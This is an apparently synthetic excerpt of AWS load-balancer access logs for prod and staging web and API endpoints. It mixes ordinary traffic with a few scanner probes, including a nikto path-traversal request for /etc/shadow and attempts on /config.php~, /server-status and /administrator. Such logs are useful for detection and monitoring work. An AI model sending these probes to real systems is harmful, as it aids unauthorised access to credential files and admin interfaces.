2024-11-01T01:15:54.723168Z "forward" "-" "-" "220.7.144.104:443" "404" "-" "-" -https 2024-11-01T01:15:54.967905Z prod-web-alb 46.97.73.6:39874 10.0.114.55:443 0.039711 0.263545 0.028687 302 302 802 6948 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c95a-df7ded0cc0e24c02858c1a49" "prod-web-alb.example.com" "-" 5 2024-11-01T01:15:54.967905Z "forward" "-" "-" "10.0.114.55:443" "302" "-" "-" -https 2024-11-01T01:15:55.993749Z prod-api-alb 161.73.29.194:26058 10.0.89.134:443 0.036179 0.057305 0.007978 200 200 428 5188 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c95b-47054a7afe1041bcaa096cd6" "prod-api-alb.example.com" "-" 7 2024-11-01T01:15:55.993749Z "forward" "-" "-" "10.0.89.134:443" "200" "-" "-" -https 2024-11-01T01:15:57.890630Z prod-web-alb 201.225.135.107:14880 10.0.190.175:443 0.073635 0.094432 0.072416 404 404 875 5517 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c95d-ef5c2982ca7b42829100c4e1" "prod-web-alb.example.com" "-" 9 2024-11-01T01:15:57.890630Z "forward" "-" "-" "10.0.190.175:443" "404" "-" "-" -https 2024-11-01T01:15:58.875365Z prod-web-alb 172.85.139.222:48951 10.0.252.64:443 0.053724 0.009202 0.098503 200 200 441 703 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c95e-c2c3201252674538b75ab864" "prod-web-alb.example.com" "-" 4 2024-11-01T01:15:58.875365Z "forward" "-" "-" "10.0.252.64:443" "200" "-" "-" -http 2024-11-01T01:15:59.884850Z staging-alb 215.181.216.96:42590 229.120.227.52:443 0.005421 0.611535 0.121498 200 200 466 6259 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c95f-624dbc462c99424b8e396990" "staging-alb.example.com" "-" 7 2024-11-01T01:15:59.884850Z "forward" "-" "-" "229.120.227.52:443" "200" "-" "-" -https 2024-11-01T01:16:01.576082Z prod-api-alb 71.210.14.12:62064 10.0.185.125:443 0.071687 0.231625 0.027187 200 200 538 10643 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c961-b02998fc15614fbabed5c08c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:16:01.576082Z "forward" "-" "-" "10.0.185.125:443" "200" "-" "-" -http 2024-11-01T01:16:03.227298Z staging-alb 19.159.196.154:49920 194.23.207.252:80 0.010220 0.677896 0.148810 404 404 681 13691 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c963-64068d59bf6f4820b7697e80" "staging-alb.example.com" "-" 6 2024-11-01T01:16:03.227298Z "forward" "-" "-" "194.23.207.252:80" "404" "-" "-" -https 2024-11-01T01:16:04.274287Z prod-api-alb 167.216.239.181:26720 10.0.210.241:443 0.063558 0.399691 0.008979 200 200 865 7085 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c964-14ca2caf0dbd4067a1b85340" "prod-api-alb.example.com" "-" 4 2024-11-01T01:16:04.274287Z "forward" "-" "-" "10.0.210.241:443" "200" "-" "-" -https 2024-11-01T01:16:05.414064Z prod-api-alb 51.253.34.115:39786 10.0.166.62:443 0.077324 0.061125 0.066026 200 200 634 8648 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c965-0bd19d6f0f0846f38ba49e26" "prod-api-alb.example.com" "-" 0 2024-11-01T01:16:05.414064Z "forward" "-" "-" "10.0.166.62:443" "200" "-" "-" -http 2024-11-01T01:16:07.029137Z staging-alb 185.181.6.37:24953 209.85.14.146:443 0.093636 0.741244 0.043304 401 401 490 7669 "POST /config.php~ HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c967-a08475228d274d1e84553b63" "-" "-" 5 2024-11-01T01:16:07.029137Z "forward" "-" "-" "209.85.14.146:443" "401" "-" "-" -https 2024-11-01T01:16:07.161027Z prod-api-alb 124.0.196.76:63315 10.0.134.113:443 0.046748 0.401100 0.092719 302 302 809 12879 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c967-03cfd6dc94924daf89720391" "prod-api-alb.example.com" "-" 1 2024-11-01T01:16:07.161027Z "forward" "-" "-" "10.0.134.113:443" "302" "-" "-" -https 2024-11-01T01:16:08.215674Z prod-api-alb 237.193.119.196:23920 10.0.247.205:443 0.089544 0.075747 0.076798 301 301 789 12976 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c968-4136610904e64e628b9a622f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:16:08.215674Z "forward" "-" "-" "10.0.247.205:443" "301" "-" "-" -https 2024-11-01T01:16:09.301786Z prod-web-alb 104.142.141.190:48461 10.0.180.10:443 0.031051 0.351211 0.068439 200 200 929 6999 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c969-ba544154f0a64b959c7c4b19" "-" "-" 5 2024-11-01T01:16:09.301786Z "forward" "-" "-" "10.0.180.10:443" "200" "-" "-" -https 2024-11-01T01:16:10.225691Z prod-api-alb 104.130.88.169:20405 10.0.82.147:443 0.045782 0.140607 0.013364 200 200 468 6143 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c96a-b4e594882b254a4ab977c907" "prod-api-alb.example.com" "-" 1 2024-11-01T01:16:10.225691Z "forward" "-" "-" "10.0.82.147:443" "200" "-" "-" -https 2024-11-01T01:16:11.723539Z prod-api-alb 81.125.133.210:41386 10.0.19.100:443 0.023553 0.273611 0.022725 200 200 978 4026 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c96b-659bc17c1e2d443685d90b8a" "prod-api-alb.example.com" "-" 10 2024-11-01T01:16:11.723539Z "forward" "-" "-" "10.0.19.100:443" "200" "-" "-" -https 2024-11-01T01:16:11.864117Z prod-web-alb 193.27.228.98:39484 10.0.144.253:443 0.098308 0.369929 0.000035 404 404 753 4218 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c96b-63885242c1cf4533a151dac2" "-" "-" 1 2024-11-01T01:16:11.864117Z "forward" "-" "-" "10.0.144.253:443" "404" "-" "-" -https 2024-11-01T01:16:13.663774Z staging-alb 127.142.248.221:48971 11.230.27.179:443 0.063522 0.311949 0.093568 200 200 840 4344 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c96d-fe80d22b06fb4e518c4da183" "-" "-" 8 2024-11-01T01:16:13.663774Z "forward" "-" "-" "11.230.27.179:443" "200" "-" "-" -https 2024-11-01T01:16:14.360772Z prod-web-alb 67.237.123.65:63917 10.0.131.134:443 0.005376 0.217255 0.053931 404 404 240 3976 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c96e-d10544de18d94a9c98e30598" "prod-web-alb.example.com" "-" 8 2024-11-01T01:16:14.360772Z "forward" "-" "-" "10.0.131.134:443" "404" "-" "-" -https 2024-11-01T01:16:14.741664Z staging-alb 19.164.69.38:59254 250.152.8.108:443 0.052122 0.520067 0.017549 200 200 341 14044 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c96e-bf0491456fae4cc2ade9ce83" "staging-alb.example.com" "-" 2 2024-11-01T01:16:14.741664Z "forward" "-" "-" "250.152.8.108:443" "200" "-" "-" -https 2024-11-01T01:16:16.488109Z prod-web-alb 248.193.180.49:23584 10.0.118.240:443 0.030015 0.269576 0.070550 200 200 111 2959 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c970-5c45d0a4e37b45329f4d9fcc" "prod-web-alb.example.com" "-" 6 2024-11-01T01:16:16.488109Z "forward" "-" "-" "10.0.118.240:443" "200" "-" "-" -https 2024-11-01T01:16:17.001795Z prod-api-alb 210.124.181.40:46654 10.0.228.129:443 0.094563 0.350330 0.066732 301 301 301 7070 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c971-f869220cb65241c0940153e0" "prod-api-alb.example.com" "-" 2 2024-11-01T01:16:17.001795Z "forward" "-" "-" "10.0.228.129:443" "301" "-" "-" -http 2024-11-01T01:16:18.140600Z staging-alb 92.193.44.109:12191 104.93.90.110:80 0.135619 0.461147 0.127372 404 404 87 5025 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c972-a1f79d12c9f94a2fb429d289" "staging-alb.example.com" "-" 7 2024-11-01T01:16:18.140600Z "forward" "-" "-" "104.93.90.110:80" "404" "-" "-" -https 2024-11-01T01:16:19.017077Z staging-alb 23.122.149.128:35631 187.116.213.189:80 0.091381 0.158448 0.116849 200 200 592 12717 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c973-115625629a3f4e668734263f" "staging-alb.example.com" "-" 5 2024-11-01T01:16:19.017077Z "forward" "-" "-" "187.116.213.189:80" "200" "-" "-" -http 2024-11-01T01:16:19.453937Z staging-alb 70.254.18.197:44787 179.151.140.177:8080 0.132388 0.563102 0.100150 200 200 287 6711 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c973-0363aa5b78154d41bdf399f7" "staging-alb.example.com" "-" 6 2024-11-01T01:16:19.453937Z "forward" "-" "-" "179.151.140.177:8080" "200" "-" "-" -https 2024-11-01T01:16:19.569804Z prod-api-alb 100.218.68.94:64423 10.0.8.14:443 0.060865 0.366028 0.040367 302 302 307 1575 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c973-98dd47fd053d4c9fbf5252a4" "prod-api-alb.example.com" "-" 5 2024-11-01T01:16:19.569804Z "forward" "-" "-" "10.0.8.14:443" "302" "-" "-" -http 2024-11-01T01:16:19.973453Z staging-alb 131.114.155.44:24002 154.205.144.75:443 0.032475 0.341911 0.144712 301 301 457 6877 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c973-203a5321430f4be1a7de42d3" "staging-alb.example.com" "-" 0 2024-11-01T01:16:19.973453Z "forward" "-" "-" "154.205.144.75:443" "301" "-" "-" -https 2024-11-01T01:16:20.590809Z prod-api-alb 129.173.251.130:32367 10.0.22.137:443 0.060582 0.180533 0.062243 301 301 565 9038 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c974-0d6bd25ee4e64912a9e79e85" "prod-api-alb.example.com" "-" 7 2024-11-01T01:16:20.590809Z "forward" "-" "-" "10.0.22.137:443" "301" "-" "-" -https 2024-11-01T01:16:22.034449Z prod-web-alb 169.12.14.1:31111 10.0.249.219:443 0.046151 0.454258 0.004758 200 200 54 10641 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c976-61cc3c3d51f84b26a87fe5b7" "prod-web-alb.example.com" "-" 2 2024-11-01T01:16:22.034449Z "forward" "-" "-" "10.0.249.219:443" "200" "-" "-" -https 2024-11-01T01:16:23.665247Z prod-api-alb 251.171.15.47:44087 10.0.16.59:443 0.086695 0.168212 0.034862 200 200 765 4590 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c977-814f33411113459988908222" "prod-api-alb.example.com" "-" 5 2024-11-01T01:16:23.665247Z "forward" "-" "-" "10.0.16.59:443" "200" "-" "-" -http 2024-11-01T01:16:23.828839Z staging-alb 194.229.172.104:34538 62.77.77.40:8080 0.065894 0.748274 0.133253 200 200 441 5652 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c977-8c8b38fbee7b40ef9f32e943" "staging-alb.example.com" "-" 6 2024-11-01T01:16:23.828839Z "forward" "-" "-" "62.77.77.40:8080" "200" "-" "-" -https 2024-11-01T01:16:25.404233Z prod-api-alb 119.219.11.205:47280 10.0.126.50:443 0.052570 0.266770 0.005905 200 200 817 2051 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c979-4a60b08457574130a8fb1d58" "prod-api-alb.example.com" "-" 9 2024-11-01T01:16:25.404233Z "forward" "-" "-" "10.0.126.50:443" "200" "-" "-" -https 2024-11-01T01:16:26.315859Z prod-api-alb 45.155.205.243:30949 10.0.117.158:443 0.032226 0.043827 0.045819 500 500 761 13538 "PUT /server-status HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c97a-c22214108f564bbea5567004" "-" "-" 3 2024-11-01T01:16:26.315859Z "forward" "-" "-" "10.0.117.158:443" "500" "-" "-" -http 2024-11-01T01:16:26.604797Z staging-alb 118.161.182.45:35591 110.170.104.152:8080 0.144419 0.549946 0.053077 200 200 718 11604 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c97a-3a5f0d98bc3d4c37b9b8b3dc" "staging-alb.example.com" "-" 8 2024-11-01T01:16:26.604797Z "forward" "-" "-" "110.170.104.152:8080" "200" "-" "-" -https 2024-11-01T01:16:28.421499Z prod-api-alb 144.149.105.158:37549 10.0.221.29:443 0.003407 0.003377 0.028696 301 301 337 12750 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c97c-909560b135e34dad89f8a4dd" "prod-api-alb.example.com" "-" 8 2024-11-01T01:16:28.421499Z "forward" "-" "-" "10.0.221.29:443" "301" "-" "-" -https 2024-11-01T01:16:30.347097Z prod-web-alb 211.18.176.14:24456 10.0.159.53:443 0.049982 0.031950 0.032563 200 200 221 7090 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c97e-8ca6669011564bb6856315c4" "prod-web-alb.example.com" "-" 1 2024-11-01T01:16:30.347097Z "forward" "-" "-" "10.0.159.53:443" "200" "-" "-" -https 2024-11-01T01:16:32.311845Z staging-alb 92.242.128.144:41751 250.76.44.242:80 0.088918 0.106450 0.036363 200 200 109 10898 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c980-0c7c3a12991c45cba23601df" "-" "-" 6 2024-11-01T01:16:32.311845Z "forward" "-" "-" "250.76.44.242:80" "200" "-" "-" -https 2024-11-01T01:16:33.921190Z prod-api-alb 245.73.176.155:15933 10.0.173.52:443 0.013847 0.360993 0.018763 200 200 527 14625 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c981-4b1514bda25b46e18051207c" "prod-api-alb.example.com" "-" 8 2024-11-01T01:16:33.921190Z "forward" "-" "-" "10.0.173.52:443" "200" "-" "-" -https 2024-11-01T01:16:35.510839Z staging-alb 200.180.110.180:16148 48.120.117.80:8080 0.099728 0.736984 0.144222 404 404 693 6747 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c983-d4edecef4c1c492a99ad6f0c" "staging-alb.example.com" "-" 6 2024-11-01T01:16:35.510839Z "forward" "-" "-" "48.120.117.80:8080" "404" "-" "-" -https 2024-11-01T01:16:36.295244Z prod-web-alb 206.68.185.92:25243 10.0.222.241:443 0.097441 0.465254 0.096682 301 301 443 9575 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c984-4b238e21be164b6bb140f834" "prod-web-alb.example.com" "-" 1 2024-11-01T01:16:36.295244Z "forward" "-" "-" "10.0.222.241:443" "301" "-" "-" -https 2024-11-01T01:16:36.933866Z prod-api-alb 74.15.122.18:28314 10.0.105.82:443 0.086251 0.113640 0.042569 200 200 902 11219 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c984-8b1d1aa33b814f7599bd99a2" "prod-api-alb.example.com" "-" 2 2024-11-01T01:16:36.933866Z "forward" "-" "-" "10.0.105.82:443" "200" "-" "-" -https 2024-11-01T01:16:38.890903Z prod-web-alb 209.228.98.99:36655 10.0.164.218:443 0.001021 0.314579 0.080011 200 200 884 7955 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c986-bc458ce0de5648639aa1b1dc" "prod-web-alb.example.com" "-" 8 2024-11-01T01:16:38.890903Z "forward" "-" "-" "10.0.164.218:443" "200" "-" "-" -https 2024-11-01T01:16:39.932365Z staging-alb 245.208.197.54:45389 196.65.218.192:8080 0.041330 0.052181 0.132427 404 404 141 5006 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c987-1c41602a3afb4143bd2fb143" "staging-alb.example.com" "-" 6 2024-11-01T01:16:39.932365Z "forward" "-" "-" "196.65.218.192:8080" "404" "-" "-" -https 2024-11-01T01:16:41.825744Z prod-api-alb 100.207.26.234:52675 10.0.217.171:443 0.012912 0.127318 0.010211 302 302 350 2379 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c989-734f845206584f0296afc4f2" "prod-api-alb.example.com" "-" 1 2024-11-01T01:16:41.825744Z "forward" "-" "-" "10.0.217.171:443" "302" "-" "-" -https 2024-11-01T01:16:43.543825Z prod-web-alb 103.174.254.143:54594 10.0.184.46:443 0.056926 0.191770 0.080930 301 301 440 11555 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c98b-9378049b84fe4887844aba15" "prod-web-alb.example.com" "-" 4 2024-11-01T01:16:43.543825Z "forward" "-" "-" "10.0.184.46:443" "301" "-" "-" -https 2024-11-01T01:16:44.687226Z prod-api-alb 243.31.14.139:32428 10.0.10.118:443 0.037135 0.085911 0.028392 200 200 858 9369 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c98c-3c37e80075104474abcb8b1f" "prod-api-alb.example.com" "-" 1 2024-11-01T01:16:44.687226Z "forward" "-" "-" "10.0.10.118:443" "200" "-" "-" -https 2024-11-01T01:16:45.560591Z prod-api-alb 232.180.83.183:61098 10.0.124.29:443 0.097701 0.476444 0.085900 200 200 780 11616 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c98d-5abc2cd38ad94b0791a35ad8" "prod-api-alb.example.com" "-" 1 2024-11-01T01:16:45.560591Z "forward" "-" "-" "10.0.124.29:443" "200" "-" "-" -https 2024-11-01T01:16:45.941966Z prod-api-alb 229.100.87.47:45282 10.0.194.237:443 0.037323 0.328084 0.014668 404 404 838 9287 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c98d-2bfe6e116041416c9edac29a" "prod-api-alb.example.com" "-" 9 2024-11-01T01:16:45.941966Z "forward" "-" "-" "10.0.194.237:443" "404" "-" "-" -https 2024-11-01T01:16:47.128563Z prod-web-alb 193.27.228.75:18578 10.0.94.208:443 0.034207 0.131318 0.096006 401 401 988 9372 "POST /administrator HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c98f-c1fd900c90604d768e02ecb7" "-" "-" 6 2024-11-01T01:16:47.128563Z "forward" "-" "-" "10.0.94.208:443" "401" "-" "-" -https 2024-11-01T01:16:47.238119Z prod-api-alb 70.179.114.179:23788 10.0.125.253:443 0.054942 0.408248 0.013802 200 200 351 7799 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 